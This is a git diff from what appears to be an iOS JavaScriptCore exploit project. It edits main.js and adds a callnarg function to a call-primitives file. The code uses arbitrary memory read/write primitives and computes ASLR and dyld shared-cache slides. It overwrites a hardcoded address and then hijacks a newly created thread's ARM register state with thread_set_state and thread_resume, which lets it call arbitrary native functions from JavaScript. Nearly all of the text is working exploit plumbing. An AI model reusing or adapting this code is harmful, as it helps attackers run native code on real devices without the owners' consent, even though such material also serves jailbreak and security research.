diff options
Diffstat (limited to 'src/js')
| -rw-r--r-- | src/js/main.js | 55 | ||||
| -rw-r--r-- | src/js/primitives/call.js | 60 |
2 files changed, 68 insertions, 47 deletions
diff --git a/src/js/main.js b/src/js/main.js index d611329..683c96a 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -12,13 +12,13 @@ var ARM_THREAD_STATE = 0x1; var ARM_THREAD_STATE_COUNT = 0x11; try { - log("we out here in jsc"); + puts("we out here in jsc"); } catch (e) { /* - * we don't have log. :( + * we don't have puts. :( */ - log = function (){}; + puts = function (){}; } function main() { @@ -34,29 +34,11 @@ function main() { slide = get_our_slide(); base = 0x4000 + (slide << 12); slid = (slide << 12); - mytask = 0; - count = 0x130000; - th = 0x130100; -// thread_state_ptr = 0x130008; - thread_state = 0x130200; - countptr = 0x131000; - thptr = 0x131004; - thread_stateptr = 0x131008; - - countptrptr = 0x132000; - thptrptr = 0x132004; - thread_stateptrptr = 0x132008; - - write_u32(countptr, count); - write_u32(thptr, th); - write_u32(thread_stateptr, thread_state); - - write_u32(countptrptr, countptr); - write_u32(thptrptr, thptr); - write_u32(thread_stateptrptr, thread_stateptr); init_sptr_heap(); + var i = 0; + puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); @@ -65,35 +47,14 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - puts("alive"); - mytask = calls4arg("mach_task_self", 0, 0, 0, 0); - - printf("%x %x %x\n", mytask, thptr, th); - printf("%x %x\n", thread_stateptr, countptr); - - puts("alive"); - calls4arg("thread_create", mytask, th, 0, 0); - printf("mytask=%x th=%x\n", mytask, read_u32(th)); - puts("alive"); - calls4arg("thread_get_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, countptr); - printf("thread_state=%x\n", read_u32(thread_state)); - puts("alive"); - for (var i = 0; i < 16; i++) { - write_u32(thread_state + (i << 2), 0x41414140 + i); - } - printf("thread_state=%x\n", read_u32(thread_state)); - puts("alive"); - calls4arg("thread_set_state", thptr, ARM_THREAD_STATE, thread_stateptrptr, ARM_THREAD_STATE_COUNT); - puts("alive"); - calls4arg("thread_resume", thptr, 0, 0, 0); - puts("alive"); + callnarg(sym_cache["printf"], sptr("Hello world! %x %x %x %x %x %x %x %x %x %x %x %x %x\n"), 0x420, 0x69, 0x1337, 0x13371337, 0xb1a7e17, 0x41424344); // var i = 0; // while (true) { -// calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); +// calls4arg("sysputs", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide); // calls4arg("sleep", 1, 0, 0, 0); // i++; // } - log("still alive"); + printf("still alive18\n"); }; diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index 996f5a8..687e758 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -97,3 +97,63 @@ function calls4arg(sym, r0, r1, r2, r3) { } return call4arg(addy, r0, r1, r2, r3); } + +function callnarg() { + if (arguments.length < 1) { + return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); + } + + mytask = 0; + count = 0x130000; + th = 0x130100; +// thread_state_ptr = 0x130008; + thread_state = 0x130200; + countptr = 0x131000; + thptr = 0x131004; + thread_stateptr = 0x131008; + thread = 0x130300; + threadptr = 0x132300; + threadptrptr = 0x133300; + + countptrptr = 0x132000; + thptrptr = 0x132004; + thread_stateptrptr = 0x132008; + + var stack_shit = 0x161000; + + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var addy = arguments[0]; + + var dyld_shc_slide = get_dyld_shc_slide(); + + write_u32(0x346afc48 + dyld_shc_slide, 0x23d751fc + dyld_shc_slide); + + calls4arg("pthread_create", threadptr, 0, 0x23d751fc + dyld_shc_slide, 0); + var thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + + for (var i = 1; i < arguments.length; i++) { + if (i <= 4) { + write_u32(thread_state + ((i - 1) << 2), arguments[i]); + } else { + write_u32(stack_shit + ((i - 5) << 2), arguments[i]); + } + } + + write_u32(thread_state + (13 << 2), stack_shit); + write_u32(thread_state + (14 << 2), 0x23d751fc + dyld_shc_slide); + write_u32(thread_state + (15 << 2), addy); + write_u32(thread_state + (16 << 2), 0x40000020); + + calls4arg("thread_set_state", read_u32(th), ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", read_u32(th), 0, 0, 0); +}
\ No newline at end of file |
